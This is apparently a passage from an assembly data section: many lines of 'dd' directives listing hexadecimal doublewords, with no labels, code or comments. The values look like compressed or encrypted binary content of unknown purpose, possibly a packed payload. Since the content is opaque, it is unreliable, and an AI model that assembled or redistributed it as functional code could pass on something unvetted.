		dd 64601FB2h, 38519703h, 16C62962h, 775EE91Ch, 8D1CD72Dh
		dd 5A309498h, 59CD43DFh, 52F50201h, 3375EFBAh, 27E28460h
		dd 63D14D12h, 806D34EBh, 0B45E120Ch, 0D501BB05h, 8FA0FAE9h
		dd 6FB50551h, 0AA96C580h, 50E58F91h, 30FFB3E7h,	0CD1E0612h
		dd 594AEB28h, 17120AACh, 0E5F2E8B8h, 39323381h,	8F71052Fh
		dd 0CE1797FEh, 80F6E4FFh, 2E3B250Dh, 19F64832h,	4C0DF6B5h
		dd 0EE492DE4h, 425E041Ch, 10BB748Dh, 5F0B0705h,	0C2C55553h
		dd 9039A287h, 0E6E951B0h
		dd 4DC9BF19h, 88872F07h, 0A9D8D5D1h, 17BA7720h,	0EB2E7A3Fh
		dd 0F031E301h, 0B22FECE9h, 254022C9h, 5246DA89h, 4C027094h
		dd 0DC172A74h, 8F94CB4Fh, 0F8685202h, 41431170h, 8101D289h
		dd 4F953EC2h, 292DCCE3h, 30CA2C82h, 0D9411CE2h,	0C32630C2h
		dd 53A6C483h, 0B0091D27h, 0A5FF4DFDh, 518BBB5Ch, 0CB037174h
		dd 920859DCh, 80BE0C73h, 0B690551Fh, 928C7A4Eh,	7F6B630Ah
		dd 511F6476h, 0D34A88C3h, 0E9426763h, 9FA35010h, 20E759F8h
		dd 0D14BF7D8h, 6F20E261h, 4301C310h, 0B20F8DB0h, 0E53A485Fh
		dd 55401633h, 0D03CB753h, 0E978B7EFh, 0F6CFFE01h, 0B8DEE9DFh
		dd 87686C86h, 8275B01h,	0E9C2D6B9h, 0E90EB0FFh,	0EB8B9790h
		dd 25E7B8FDh, 9347C4C0h, 8E5D0BB1h, 0D35E6534h,	9D9F67C3h
		dd 0D540F7B9h, 0DA85A0F3h, 16B5043Dh, 0F9B846E9h, 136C5012h
		dd 0B1DD0F5Ah, 6146E42Bh, 8AAD65D2h, 1EE3BEE5h,	0F8CC0A96h
		dd 0A07F6BF9h, 7F4CD55h, 0EE477971h, 645101C5h,	55E988E7h
		dd 691362F9h, 51F37632h, 2D7B6CB7h, 593BE905h, 9AFFF66Bh
		dd 42B5DB0Ch, 0D70B30B3h, 3558D890h, 0B914B9Fh,	0B6EEE97Dh
		dd 75F5D027h, 0B436956Bh, 0AD6975F7h, 0BA367C91h, 0E840F5CBh
		dd 5F3937D0h, 963A653Bh, 0EF65B4h, 572F5EE5h, 226AB951h
		dd 600C4C2Fh, 6B59DE9Dh, 95522410h, 0A1A40CD6h,	0BDF0B0E9h
		dd 1E6705A1h, 3802B63h,	4B2545ADh, 553A05Eh, 89F4025Eh
		dd 8103EDA7h, 0C1E0D7E2h, 0A0F92948h, 1CC10870h, 34AA4CB5h
		dd 0C0E61C60h, 7A6DBD64h, 419D7B93h, 0DDC2B2C4h, 98C9649Bh
		dd 0EA5D8247h, 63167FA3h, 1684B4E1h, 62E90802h,	3251F5C4h
		dd 0F45BDB09h, 81088068h, 0F25FFDF3h, 0DE29FF12h, 0EEB16EFCh
		dd 9019E038h, 0A508FC9Fh, 1CC1948h, 383BF086h, 0EECC225Ch
		dd 0C8F1A825h, 90C05027h, 57D06F29h, 7A729761h,	647EED75h
		dd 0C8E65B3Eh, 7CC40504h, 0BBC1132Ah, 0C080C6E5h, 98101FBEh
		dd 0F3300926h, 1366BA5Eh, 0E91417C8h, 0BAA984C0h, 0CA9214E2h
		dd 93124A50h, 1CC39D00h, 5E686B65h, 79ABA68Ch, 5A29162Ch
		dd 45FCA217h, 0E2535826h, 68010C45h, 302F44F4h,	5C692CD8h
		dd 0F9E8075Bh, 5BA734h,	0CE7414A5h, 0C65E011Dh,	805B5EB2h
		dd 0A95915E6h, 0E2291928h, 130845E5h, 4BDEAE87h, 20572C7Eh
		dd 9A51058h, 5F5BD831h,	7C51DB19h, 51FF93D8h, 50B52B2Ch
		dd 663031D6h, 0F3DDE933h, 30C2A29Eh, 8A70D112h,	8A9255F5h
		dd 27EF248h, 71E30305h,	3F1017E1h, 5E7A68B6h, 406E929h
		dd 1C785C7Bh, 947506EBh, 0D84F4D9Bh, 0F84B8ABCh, 0A3ABF4F2h
		dd 0C868871Eh, 99FE12CEh, 53D887B8h, 0DC20D388h, 0ABCDA3E9h
		dd 704EC24Bh, 0C2D2BF4Eh, 1A52C624h, 1C355302h,	57E3625Dh
		dd 0CE3D55D8h, 2D1D85DDh, 329065E9h, 3851BD55h,	81813A3Ch
		dd 8F5779E5h, 70BC3075h, 39AC6116h, 14D05FBh, 479F82DEh
		dd 3D820E51h, 0D738CF74h, 0D091A2E3h, 0F3808053h, 0BB68F141h
		dd 8C361232h, 1F16FE5Fh, 0AABD84h, 28CFCB25h, 56983937h
		dd 0FFE84F4Eh, 0DFAFE90Bh, 0F897F248h, 0F5177E2Dh, 58C18082h
		dd 5A40B27Fh, 395B2264h, 57FED354h, 895F5612h, 0EA5EA7CBh
		dd 0F3E9A542h, 25264D8h, 10441F32h, 0CA61D101h,	808A87BBh
		dd 59839EC1h, 0BF2A26E4h, 5650FA5h, 0FBD3FA44h,	40B423CCh
		dd 199757D4h, 0B23A5391h, 83BF3D55h, 0B85E0141h, 37EDA03Ah
		dd 2DE0C031h, 33B14DEEh, 68E0D105h, 62E3721Ah, 7A03DD0Bh
		dd 0E98AE057h, 0B7609A12h, 49245B73h, 0FB113909h, 4EC0B8E3h
		dd 0D601EFEh, 0D148868Bh, 0A2681545h, 0A27A046h, 0BB534640h
		dd 22252A09h, 14DB7858h, 0A2DC829h, 0FD1E645Ah,	0FDC02DEBh
		dd 41CCD122h, 41A0B5C6h, 0DC486BB3h, 93A618B0h,	2E763785h
		dd 0BE4924C5h, 32C854B8h, 0BA5256D8h, 4611860Ch, 332960Dh
		dd 0E9639D03h, 6E2CB4AAh, 7F6970BAh, 7F92DFA9h,	0A7CBE557h
		dd 647449EAh, 0C52AC959h, 4AC2B219h, 0E5CE61BAh, 0F18100ACh
		dd 0FAB31E94h, 9FA1CCAEh, 53042ED3h, 0EF831B63h, 50E5B287h
		dd 6F6047F1h, 4A71FE3Ch, 4C0CB32h, 67F14DDFh, 2BF38F80h
		dd 0F06E4BA2h, 9390051Ch, 210C8A0Eh, 0BEC3DF40h, 0C27D2B6Dh
		dd 8592FFDDh, 9CC17B6Bh, 0E0276F16h, 5B0E082h, 3516AA41h
		dd 0E6D1AFD7h, 51018C4Bh, 0F08F9C9Bh, 213C397h,	685E5280h
		dd 0E2C8BF75h, 0B980D8A2h, 5C1F1273h, 52940447h, 4025ECE0h
		dd 7E09EAB6h, 0D57B7112h, 9C24585h, 295D5B08h, 6A6C5F67h
		dd 0E4D26C2h, 0EA8F802Fh, 5C052BB4h, 0E9131979h, 80B1B07Ah
		dd 50CFF507h, 0B1B2A0B0h, 65A27E12h, 0D9A92074h, 49E6F75Bh
		dd 1A6002F6h, 7A30E663h, 0F92F4EFAh, 0AFDB0E4Bh, 88F67AC7h
		dd 0D098D20h, 57A82B90h, 21C5B50Fh, 50D7C110h, 0D15857B8h
		dd 0F4715D3Ch, 725FAEE9h, 0EB1C96F3h, 0B4DF2DB3h, 0B5D09845h
		dd 9A5DC505h, 4DA2580Dh, 7504C3Bh, 6F0809CEh, 4C31D6B2h
		dd 72C0BD65h, 7B4FBF68h, 8C322329h, 0D96AA418h,	0F3C058C6h
		dd 5852548h, 0F83D7509h, 0E42CB866h, 31364FB3h,	0F157A6BEh
		dd 7DF07B64h, 6E9A042Fh, 0AF7F09E9h, 540BA40h, 48693FFEh
		dd 0BD4B2C9Fh, 7BF84FACh, 0C4207200h, 931EBD11h, 80805727h
		dd 0E9454D08h, 8C904BFCh, 0C1F55B8Fh, 0EFA152DCh, 8552CA5Fh
		dd 1088B4B4h, 0A94C05C4h, 21FB09F7h, 0A61E8CBCh, 8D08CEE5h
		dd 0FFBA0ECEh, 80114831h, 7F046EFAh, 45BC2A68h,	0B99FA13Fh
		dd 1360F36Fh, 3D01565Fh, 7CDE6B1Bh, 17C6C620h, 0BD257A8h
		dd 0BF905B16h, 1C165ACFh, 840338B4h, 881F3A7Ah,	9ACAF0E9h
		dd 0ED802E8Ch, 0B05F2D39h, 97DEB814h, 0A81507B1h, 563D65C9h
		dd 5BC12E52h, 0D3EA8087h, 1044740Bh, 0C68101BFh, 430C629Bh
		dd 4617046Ah, 1D680056h, 9C148D3Bh, 0FFED58B7h,	4AFC454Ah
		dd 485FDB1h, 1491C087h,	0F42B3211h, 49168D30h, 42A133FEh
		dd 58F21780h, 310E387Fh, 6662E897h, 4D60267Ah, 77A403B2h
		dd 0EFFC3CA5h, 0F702CDF6h, 0D8D308CAh, 0E912FAD8h, 8EEFFAEDh
		dd 0CBD648D3h, 0EF6148E0h, 7BD1F875h, 3E0F2029h, 0E31C437Ch
		dd 3FC357D4h, 945EB87h,	0C6DAE906h, 45FF0B3Ah, 668EBF9Fh
		dd 83446AE9h, 0ABA3EAE2h, 4E7E5050h, 0AD37AC2Fh, 0B560E731h
		dd 0C34625C6h, 0ED016E58h, 0CA62350h, 0A07ED5F7h, 6B24B688h
		dd 0C808877Bh, 0E2C000D0h, 6EB45005h, 8013E4F2h, 0DD093CECh
		dd 423ADE36h, 0D4920508h, 7E4EA9F5h, 0B35D1223h, 785524Ah
		dd 75E86AABh, 0DFF6A8A2h, 0CA989198h, 1BFB1B7h,	38BFC83Bh
		dd 30E3EE63h, 893B8964h, 2B682430h, 9D22FCh, 1E254F2Fh
		dd 0FD41C7E9h, 0D5BB8744h, 4A9FF829h, 0A8D2DDEDh, 0B53A10AEh
		dd 39476805h, 0D2DFA05h, 0F3EF8541h, 10D38A7Eh,	5D134C5Fh
		dd 982E0E2Dh, 0A10BFB3h, 7C097507h, 1DE46Ch, 662B02E8h
		dd 7AD6F678h, 0A8455E46h, 0DCFF25E6h, 9B2ABB84h, 0B715B0C6h
		dd 80FF5CB2h, 5C37BDAEh, 0E942093Ah, 0FFD4D236h, 4A93BBEDh
		dd 0AB9C8419h, 319A18E3h, 0BBD8CD6Ah, 0DE4B5DEAh, 9C4AB293h
		dd 1ABB0C4h, 3654750Dh,	60726164h, 6189645h, 8B0C2467h
		dd 54B1205Fh, 0ABE52709h, 0FB7983DDh, 0E90FF845h, 3B1341F6h
		dd 0B551CA40h, 0A0EB880Ch, 0A6386EC3h, 0AC18CE8h, 188E685Bh
		dd 0FE7393B8h, 0C5D89E29h, 89D99D02h, 13B85CE4h, 9A84184h
		dd 98A0DF47h, 63D349B4h, 94BBA9Eh, 638D42C8h, 0D8F689F9h
		dd 0C2C0FCF1h, 0D285C58h
		dd 0FBC1D912h, 51E2A393h, 26F8317Bh, 2894B302h,	0E6A25F31h
		dd 2A7F55EEh, 0AEB40FBCh, 572D43DEh, 268B398h, 7D354902h
		dd 0DE78E95Ah, 26D79E5Eh, 54183D6Ch, 39EB450Ch,	512F021Bh
		dd 0FF15B80Ch, 0F35E5842h, 0B4343D04h, 416CFD08h, 0BEC44508h
		dd 0E98457B2h, 7E05B123h, 0BD63C221h, 7A7F442Ch, 4D10B52Fh
		dd 69F4F789h, 0B75E404Ch, 10B44C2h, 3302AA68h, 0EB4050BBh
		dd 604B0804h, 0E4AE1FE9h, 506584F5h, 43F2C75Fh,	3399EFC0h
		dd 68175E5Ah, 7E8C7EDCh, 0FF5419F7h, 44CA423h, 4A5D3AFFh
		dd 0EC091FA1h, 0F257A793h, 34FAD075h, 0D8B0B0FBh, 58D940A4h
		dd 1E099Dh, 35373A9Ch, 0E2D12669h, 62250EC6h, 0BFF01FC9h
		dd 0E8FB9202h, 94FA2108h, 0B7133030h, 9A6BF6ADh, 5070322Fh
		dd 1D7A5922h, 30C73502h, 73D04D5Dh, 80251A9Dh, 3E5BE299h
		dd 0A2297F22h, 0CD0821B6h, 9C50D3E9h, 113582Dh,	1A050959h
		dd 7A15FF49h, 33144787h, 0BC44F0Eh, 857ED3Eh, 1FCC220Ah
		dd 2EB649C6h, 44E51CF6h, 2E2231AFh, 57B76E70h, 8B685D81h
		dd 9D8D2A17h, 0E68BC8C1h, 568542BAh, 0C412C069h, 6458F629h
		dd 8D57862Fh, 2179B736h, 0AA63AC2h, 190D0B2Ah, 6FB545B0h
		dd 0CE62E2B4h, 32BDA576h, 0BF59C5AEh, 68C2DCB2h, 477F1C16h
		dd 0B0F5A72Ah, 0B535CAE5h, 0BA126E22h, 0F40AECF7h, 23FD48CCh
		dd 31AC5689h, 1216466Eh, 99FE0D11h, 3F1D40E8h, 4127E742h
		dd 1599FB5Eh, 0BD4AC5DDh, 2504015Dh, 3DE50290h,	91980D4h
		dd 0E7E97EF8h, 6E02C5A9h, 7AC4FC9Ch, 70514F0Bh,	2D56D925h
		dd 0BE62C2D6h, 52E77C06h, 7B1264C1h, 49639F90h,	0C7434E1Ah
		dd 0D2A38160h, 6E1E3BCEh, 96A7844h, 16C9D4AEh, 37548A08h
		dd 0C2973E01h, 2EDE4DA0h, 577F2CE9h, 5B58A82Eh,	14F5F803h
		dd 4A0705E8h, 852D71B6h, 0BB3923F5h, 0C2E50377h, 33BF5B83h
		dd 2BA779D9h, 53D65ECCh, 44CCEB98h, 0DC9858EAh,	0A5836595h
		dd 3409F6B0h, 624E6C97h, 3FB61F4Fh, 517007DDh, 79E118B4h
		dd 0EFC188FFh, 6CC2A002h, 0EBB94F1Ch, 280FA416h, 0E0FC2BD8h
		dd 2E9FF7BAh, 8D2909DBh, 61A3D345h, 0D5E6687Eh,	1DCA1008h
		dd 129B802h, 0D1DF6551h, 8CE9893Ch, 0C78032A4h,	544B832Bh
		dd 0E1EDD300h, 296E166Bh, 5899B0F5h, 0CDE5E23h,	0F62B90EEh
		dd 46280605h, 15E64E14h, 1379E610h, 2D0B22B9h, 49F88B68h
		dd 0A22BE79Ah, 7040F176h, 3EEC6800h, 11D7B2Fh, 66CE81Dh
		dd 0FB3D41FAh, 4123DCD4h, 0CE6D4131h, 2D5800BAh, 80170042h
		dd 8810543h, 0DEB507B6h, 0FAC00803h, 5BDA8807h,	5885D135h
		dd 3C6BB1E1h, 252DE98Ch, 5BA2F264h, 3A94E1C6h, 3A848DA3h
		dd 37BE00C7h, 9FE83B43h, 0B40B8E8Fh, 0C68B1CD1h, 5B45AFDh
		dd 2008A0EAh, 5063E45Dh, 6A8DE910h, 6172AC5Bh, 984115F4h
		dd 4A92E970h, 9D4F75Ch,	0C463E368h, 84B70241h, 6AE9FA88h
		dd 72B956C9h, 2E2E51DEh, 25E978E4h, 0C75A6C5Bh,	6C251325h
		dd 0DD40167Bh, 1883C40Eh, 0F9A3A07Ah, 5BCFFE97h, 0D27DD5F2h
		dd 1360BD8Bh, 0B8C3BD0h, 6FC26719h, 0F780F75Eh,	294C6641h
		dd 70C99853h, 0BD4ABC4Bh, 3F42EE2Eh, 0C0FDB4ACh, 261A2F01h
		dd 5FFB6816h, 2B094160h, 12604D22h, 655D298Bh, 0BE56003Bh
		dd 0DCB580Eh, 12029CB8h, 3147D354h, 8A037EF1h, 6FB7D06Eh
		dd 0DEEC2D06h, 27C3CBA2h, 3A311DC0h, 0A3FC019Fh, 0B07AE223h
		dd 0F7B60FE9h, 12BE5B17h, 0A2CAAEA0h, 0CFCBF2C6h, 17A0DF4Bh
		dd 0CBD68AE0h, 6A8568C2h, 6A47F575h, 0F514E909h, 3D00082Bh
		dd 4A10B735h, 0F9271A7Dh, 25386E9Bh, 6B667140h,	0C2E7599Fh
		dd 0C2DD87E9h, 559E7F0Bh, 0D0ADB95h, 248507AEh,	4D0ACF7Ah
		dd 0FB20285Dh, 0BD7DFB02h, 594E6126h, 888BB03h,	0D0970B84h
		dd 7B3802BEh, 0DE310DB9h, 62026D56h, 4353B116h,	85C7C2ADh
		dd 8EA15E08h, 1E98184h,	44EE914h, 54BD36F6h, 201C7D81h
		dd 4B018B30h, 0DA2DAEDEh, 4E52662Fh, 0D2A1D497h, 0A7DAC77Dh
		dd 0D8255DE5h, 787B2784h, 0CCB334E5h, 1CA68174h, 582ABC71h
		dd 2B7018E1h, 7295A376h, 0E9088092h, 868097EBh,	897E3FBDh
		dd 2BD71B4Ch, 4124BAB5h, 33792907h, 79F416Fh, 80E87BEDh
		dd 8D5092E7h, 506D27E6h, 0D994A789h, 43974242h,	0C353522Ch
		dd 3C10E95Bh, 0AF5184Ch, 0FE3F72E1h, 761C9833h,	6FC10F47h
		dd 0AA643C7Fh, 0DCD1A32Dh, 0F4FCE2D2h, 0B4430EB0h, 25B62248h
		dd 0B2D40502h, 5A144C1Ch, 0CECD2BBh, 6122E1D3h,	87A32E43h
		dd 0E21DD633h, 578D72BBh, 20CCAE87h, 0D54A6E36h, 5C6EDC5h
		dd 0AA9F9006h, 0BD080A28h, 0AFC12325h, 0BE4B08F2h, 0BFC953h
		dd 0CE54993Fh, 0D74F2957h, 0C7E22CEFh, 0E7445001h, 0DD33E943h
		dd 2AD1FDC2h, 75A0B0E2h, 0ED4BACC6h, 0FCB86403h, 294ED860h
		dd 0C8B39DC7h, 7C9BCAh,	80129450h, 1F27DBBFh, 3BDC9A7h
		dd 535212E7h, 806BB951h, 4C3D50CCh, 0F26029E9h,	6984088Fh
		dd 0BF2E702Fh, 9F0942F2h, 802A4718h, 35FF1A89h,	1675B9CDh
		dd 4CCDA3B1h, 60871F54h, 0F81C0BD7h, 0AA95A652h, 9A15CF01h
		dd 126E8976h, 0C90FBA52h, 5B30F03Eh, 39922D61h,	7CD0CEFCh
		dd 56592D08h, 0C4E9F8C9h, 6805C4BEh, 4B2461A4h,	0F19AEBC2h
		dd 45D588E0h, 0F6B1C12Dh, 0B12D0C06h, 0BBEC55Ch, 0B9F4FB10h
		dd 0C0CBF150h, 38F2BD16h, 91227CAh, 21005DE8h, 589E2B44h
		dd 0A8EB4BD1h, 4C0580FEh, 0B5755227h, 708C5E2h,	20B51FBEh
		dd 65AF545Eh, 5B8DFC1Bh, 4DBA2CAFh, 242AB48h, 0D57368C7h
		dd 62D6127h, 4FC5D690h,	94606EFCh, 161B0137h, 6501B598h
		dd 0E909E73Fh, 0CC7A2457h, 0D856744Eh, 0C681376h, 4C39CEEAh
		dd 0C4325959h, 31BB9F5Ah, 0B92D26h, 13DFB753h, 1DC0D7F6h
		dd 808E7B7Fh, 7E76CFh, 0E9FE2841h, 0A9B13BE5h, 0A180F56Bh
		dd 5167C922h, 4CC8819Dh, 0F4606BA0h, 3A541C83h,	23F5674Dh
		dd 0F27A4E4Dh, 4C3C407Eh, 443A301Fh, 2F05CE18h,	5804035Ch
		dd 0C189B13Bh, 82C07370h, 452C03D5h, 0EE85027Eh, 0D23876B6h
		dd 7A8F277Fh, 55800F8h,	69DC13BBh, 6D4047F6h, 0E281024Ah
		dd 2FD90C3Ah, 91440D7h,	0B813F436h, 0A2B7AA7Ah,	0AFB4D6h
		dd 0EE87F529h, 0C3DC60B5h, 4917D2D5h, 0C97ED812h, 21BCFD27h
		dd 0E939F8A4h, 76214E30h, 877D6E68h, 1FDE3384h,	0E9576B4Ah
		dd 3998888h, 400EC2B9h,	0C918C87Bh, 0B5F69C56h,	0C26FBBE3h
		dd 68017A67h, 15881601h, 57093F2Fh, 4FB98652h, 6A6B1663h
		dd 6F10EB96h, 33B50EE6h, 1A403322h, 0E4A3CCF5h,	493140E8h
		dd 0D812D0A3h, 25AFA948h, 79C5820Eh, 9BC06446h,	0AB097E68h
		dd 0BA5D040Ch, 87112947h, 12C1C48Eh, 0A7BBFDC1h, 0C275903h
		dd 25695A80h, 695EA22Dh, 52809BE8h, 1191B951h, 0BA270205h
		dd 31FC879Dh, 0F691C37Dh, 41F45E59h, 0CF6512B8h, 0EFF47B0Dh
		dd 4EC0FE03h, 5D8B325h,	422E4573h, 3183F4FBh, 62B787B7h
		dd 0BFF964B9h, 0E9042265h, 1165B07h, 0D6530628h, 501F2E4Bh
		dd 0F0579392h, 1D0774ACh, 0C4C9C280h, 333FC43h,	5495B005h
		dd 0E466D171h, 9D514A5h, 5C3E7C20h, 90464697h, 2FEC44C3h
		dd 53BD6613h, 2E5E0CEAh, 0B5FE90Fh, 0CFB27012h,	0BD9FB185h
		dd 314B088Ah, 1B243909h, 3F0FC259h, 72E4680h, 0F0E52F50h
		dd 19C17FACh, 0CF4E2DC6h, 4FAD80CAh, 0CBE87111h, 857DE90Ch
		dd 4FBD012Ah, 0A279A704h, 42EB1063h, 0B2444B08h, 5D0B525Eh
		dd 0CC82EC82h, 68C13100h
		dd 862A4938h, 4345DD8Fh, 2D0A5646h, 0DDF66FDEh,	213BA516h
		dd 0F827E681h, 0C6C167BBh, 0CBC8AD74h, 30159340h, 296E12BFh
		dd 2C9401F1h, 0F8733549h, 331283E5h, 12AB5B25h,	73D9AAE8h
		dd 5D0A9942h, 668CD98h,	5AAA5D53h, 14D62180h, 0E63D4E1Fh
		dd 36D750F9h, 778AAB4Bh, 262B2845h, 5C900E45h, 0CEBBCD2Fh
		dd 87EBB5D8h, 8B7D1CFAh, 0A548DEEFh, 589D9455h,	0D24C85E9h
		dd 835ED586h, 1980C200h, 0D96847A7h, 8A539F26h,	7A634431h
		dd 0DC60C8E5h, 948B71Dh, 7BBDC2B8h, 0B7133D16h,	60D2EEB5h
		dd 4984CCCFh, 3503BB3Fh, 5B0D15E5h, 95133DA8h, 892D3702h
		dd 5D49D0E8h, 3F1BBEAh,	13E11513h, 4B2CF8C0h, 0B5F2BC6Dh
		dd 3B83C9FAh, 0B781E5BDh, 20A7B1EBh, 92ABDAFBh,	67C85EC0h
		dd 0F8048B90h, 102166Fh, 0EBC4A4BEh, 8CE90BA0h,	13FBD059h
		dd 41AC07EEh, 0EC802412h, 0DF099E6Ch, 6292F45Dh, 7B5FF3D0h
		dd 735EA5F9h, 42B0F5F2h, 6CBDE832h, 0F663B5BCh,	0AE82BDBAh
		dd 68023FB9h, 7424FF1Ch, 0F542924h, 324DEB02h, 0CA6FC018h
		dd 76502430h, 0FDF206D6h, 0E9180C5Dh, 2A530F3Eh, 74061E51h
		dd 0C4CFFF58h, 3CFBEC3h, 9922AA5Ah, 50F15F5Ch, 13A06145h
		dd 80EB3928h, 952AC84Ch, 4B5576AAh, 0F0F120Eh, 10D7FAA3h
		dd 5EC9A6A7h, 0DB32D1D2h, 84E2D7E1h, 2BC200Ah, 55E93C4Ah
		dd 0B05D5430h, 3033844h, 0C1054847h, 0F1D5FCC7h, 5AC0262Dh
		dd 0F3159CB6h, 9C268919h, 0B246A849h, 0B2584E64h, 75ACC5A8h
		dd 1E17C290h, 317E1F11h, 0E3EF09CEh, 2C616112h,	57DEE8F0h
		dd 0F2CE669Fh, 1BB04909h, 0F5FEEB25h, 0E0DB4252h, 0BD186ABh
		dd 2802C180h, 51686801h, 0D78C2A4Eh, 4A059F2Fh,	8B4E49B9h
		dd 138C4455h, 0F3174468h, 0A1DD1F8Eh, 3CFBCBF8h, 233168A9h
		dd 0F3CF4F3Fh, 0DE84B83Bh, 0F024569Fh, 0C50DF080h, 2C7B2D7Eh
		dd 0BBA4E68h, 0A6C885EFh, 940132F0h, 93F18105h,	6960E536h
		dd 8091EC1h, 0C9023E4Eh, 65CB712Ch, 2A044FEBh, 2988BF3Ch
		dd 2C7B84E8h, 0C40AE79Ch, 7C8740Ch, 0A4A9ADBh, 28CD6855h
		dd 6526427Bh, 629E83DEh, 0FD2A9149h, 5070FD82h,	20888FEh
		dd 2B132CCCh, 58C68B7Eh, 4BA02A7Bh, 47EE8EF4h, 702DEE69h
		dd 89D6BFE2h, 60B5E9F0h, 0E3251C49h, 53070B19h,	712B220Dh
		dd 8E0C120h, 97F825E9h,	123CC759h, 0D0BFD3B2h, 4D9668D5h
		dd 0EAAD4993h, 55AF4255h, 6CCB8B82h, 9909A508h,	0A4BB755Eh
		dd 0EB82E39Ah, 0D45EE0F5h, 0E92F0973h, 7754931Ah, 0FDAD9889h
		dd 13B086ECh, 71553717h, 57C60202h, 0FE08A2BFh,	0FA35605Fh
		dd 5E048B2Fh, 7DCC3C9Ch, 705DF94h, 56F4C529h, 0E9545F52h
		dd 0B8C4C43Eh, 5AB1A6BBh, 4B8F7388h, 0C0E5B346h, 0D0E19335h
		dd 0F085B552h, 7B5D8D81h, 49718C91h, 0BB1CF6Bh,	5DD812B4h
		dd 8083BA04h, 221668B5h, 5EFB1995h, 2E98FD6Ah, 318B51FDh
		dd 872A07F5h, 1C028C4Ah, 0C1A821CDh, 0E27CD33Ch, 0BD12A097h
		dd 0D9E2B25Bh, 73310300h, 96BE5677h, 41C6320Bh,	62798F46h
		dd 80602569h, 0DA7222BDh, 5B59B831h, 691404Fh, 55833548h
		dd 0D50FB01h, 4A915CFDh, 49BAE03Fh, 67C50E02h, 0FF5DEB89h
		dd 0C3819F60h, 9A479E12h, 41F36200h, 0BE7F942Ch, 73D61CD8h
		dd 0AEBDDE9Bh, 0FBDBAB0h, 40440D76h, 42503149h,	0B2E8341h
		dd 0CF09A56h, 0AF3CC595h, 5F65DD60h, 50186697h,	12CF9353h
		dd 77470Ah, 0F96AA30Eh,	71190567h, 0C7ECF4FCh, 8E96B241h
		dd 69BB5300h, 43322407h, 39D2D989h, 0D212DD61h,	0E1A0CB75h
		dd 0B83BAF53h, 6DB99385h, 0B088E984h, 0CA092D0Bh, 0D53CA99Dh
		dd 24913988h, 83893967h, 4603305Bh, 0EE85CB70h,	0F64E5BF7h
		dd 97571A3Dh, 0CD595F72h, 0F610A74Ah, 58F8E45Bh, 0ACF48016h
		dd 0ABC7CC0Dh, 0CF81EC80h, 14C41B12h, 7DEF4EFCh, 0B6DF10E1h
		dd 0D580B900h, 0CA01B7EAh, 4D39697h, 7D14E4C7h,	4250AA7Fh
		dd 0FC5A2708h, 3BF67A8Fh, 42D1B88h, 0D52877FFh,	1FF2FB23h
		dd 9271EDD3h, 210A2AD1h, 6DC1997Ch, 704EAE69h, 56BFF9B0h
		dd 0E4E98A0Ch, 81D4A789h, 785B024Bh, 2B2AB4Dh, 56942129h
		dd 575E52E7h, 12204E5Ah, 0BC328E68h, 0F226B62Ah, 0C340455h
		dd 0BF97C1E9h, 2468F09Ch, 695D0235h, 1A4C9990h,	809E9888h
		dd 0CFE4E188h, 0C9B6595Eh, 20606D3Eh, 9619D0BEh, 0D9B00A5Fh
		dd 3278954Ah, 38CC6816h, 233FF361h, 5A3CC833h, 2B8146A5h
		dd 0F14391B8h, 7EA36E16h, 1B32BE00h, 0F0290993h, 8255E00h
		dd 0D57922Ah, 0A38FA23h, 8D4FE927h, 59948C87h, 0A95AFEBDh
		dd 694BE240h, 7D2911B8h, 0A82E27F1h, 63A8D26Dh,	0E8A8902Dh
		dd 483F4F19h, 0D8165315h, 0C95A5496h, 128D0614h, 1B209509h
		dd 58B8BE1h, 4B050FFBh,	0F210AB25h, 0D6F607DCh,	0A61FEE80h
		dd 952DAC58h, 0F900B354h, 873BE631h, 4D22B8D1h,	0DA3B5166h
		dd 0BA5D6992h, 0AA2A986Dh, 95864844h, 65FF5F09h, 129E9CE4h
		dd 64480696h, 0EE07C56Bh, 34EA0512h, 4BAC3BB3h,	44BACE9h
		dd 40AD3004h, 5B351C1h,	13FDEB07h, 0AB5405BAh, 817F5E0Eh
		dd 404003F8h, 0FD65A2BCh, 30DE0851h, 0EBB7E8DFh, 7089BA04h
		dd 1CFC95A7h, 0B004F5EBh, 7913BE1Bh, 3BA999FAh,	5B604EA5h
		dd 0E7F4941Ah, 0E5F76B83h, 0F65C1366h, 0FCE985DFh, 0DEF80595h
		dd 0CCB98039h, 971BF79Fh, 5680C143h, 6F346052h,	77BB7E1Fh
		dd 2F85E755h, 4B61735Fh, 2E889174h, 66AC0BA9h, 697F3A83h
		dd 93D4313Fh, 0FB207AB7h, 58DB19BDh, 2C02580Bh,	311EF267h
		dd 742482D7h, 33E55FD8h, 0D5D195BEh, 51CB1697h,	65FB6E13h
		dd 0BE94AFD7h, 0E66861EEh, 704D234Fh, 0F4A9E85Ah, 9014A35Eh
		dd 466907EAh, 0E9315EA8h, 0BC6BBBB6h, 0C8BDB3F0h, 5B4B6866h
		dd 5C0E04Dh, 9DB85940h,	741DF4Ah, 0FA333A6Dh, 8FBA840Ah
		dd 379D1032h, 3B710ADEh, 70754208h, 0A0F8FECh, 9053A1Fh
		dd 3930DFDEh, 0C6A8CD73h, 6817D830h, 8C352309h,	5B2109BFh
		dd 0A3BA4760h, 1EE36417h, 3109C9BAh, 0A59FDCE8h, 21FBFE5Eh
		dd 7EE9E62h, 0C209C3A5h, 86657ABh, 6C1A94Ah, 0A620C129h
		dd 0CBC04BC5h, 3CAD41BFh, 1AED5FFFh, 0C749BB92h, 30EE6035h
		dd 5A660BD5h, 4707C680h, 4C5D5EEEh, 545B2FE9h, 44985F4Fh
		dd 2D9B90EFh, 9FD65DBAh, 580B08A0h, 0DC0B2868h,	5EF77004h
		dd 53717E9Fh, 42D157D3h, 33089831h, 0F4685006h,	0F25A42Dh
		dd 423F452Ah, 0E70CF9A6h, 0D9DE5E27h, 8B0F9E7Ah, 5CF2E327h
		dd 6547C09h, 0D433584Bh, 0B414706h, 0DC1F342Eh,	194DE9CFh
		dd 505D0F1Fh, 769D0557h, 0BE97B5B8h, 9346DC44h,	0C2A7B3BBh
		dd 0F9A97DE9h, 0B81744F9h, 28BB02EBh, 5D0FC902h, 0E704B752h
		dd 9C4C576h, 9A5372C1h,	68825132h, 45D57E2Dh, 132992FEh
		dd 0BB8BEFF3h, 30E95040h, 0F6558CA3h, 29270B49h, 1C065E53h
		dd 6CE9444Eh, 2FEF4B6h,	0C6012CBCh, 616B0801h, 0C92B3682h
		dd 87C11F4Ch, 2D66645Eh, 86229D4Ah, 1F67C41h, 4453C4BBh
		dd 6B45E974h, 0DD006D16h, 0FA5D9AEEh, 0D6293F73h, 0BA7C1F12h
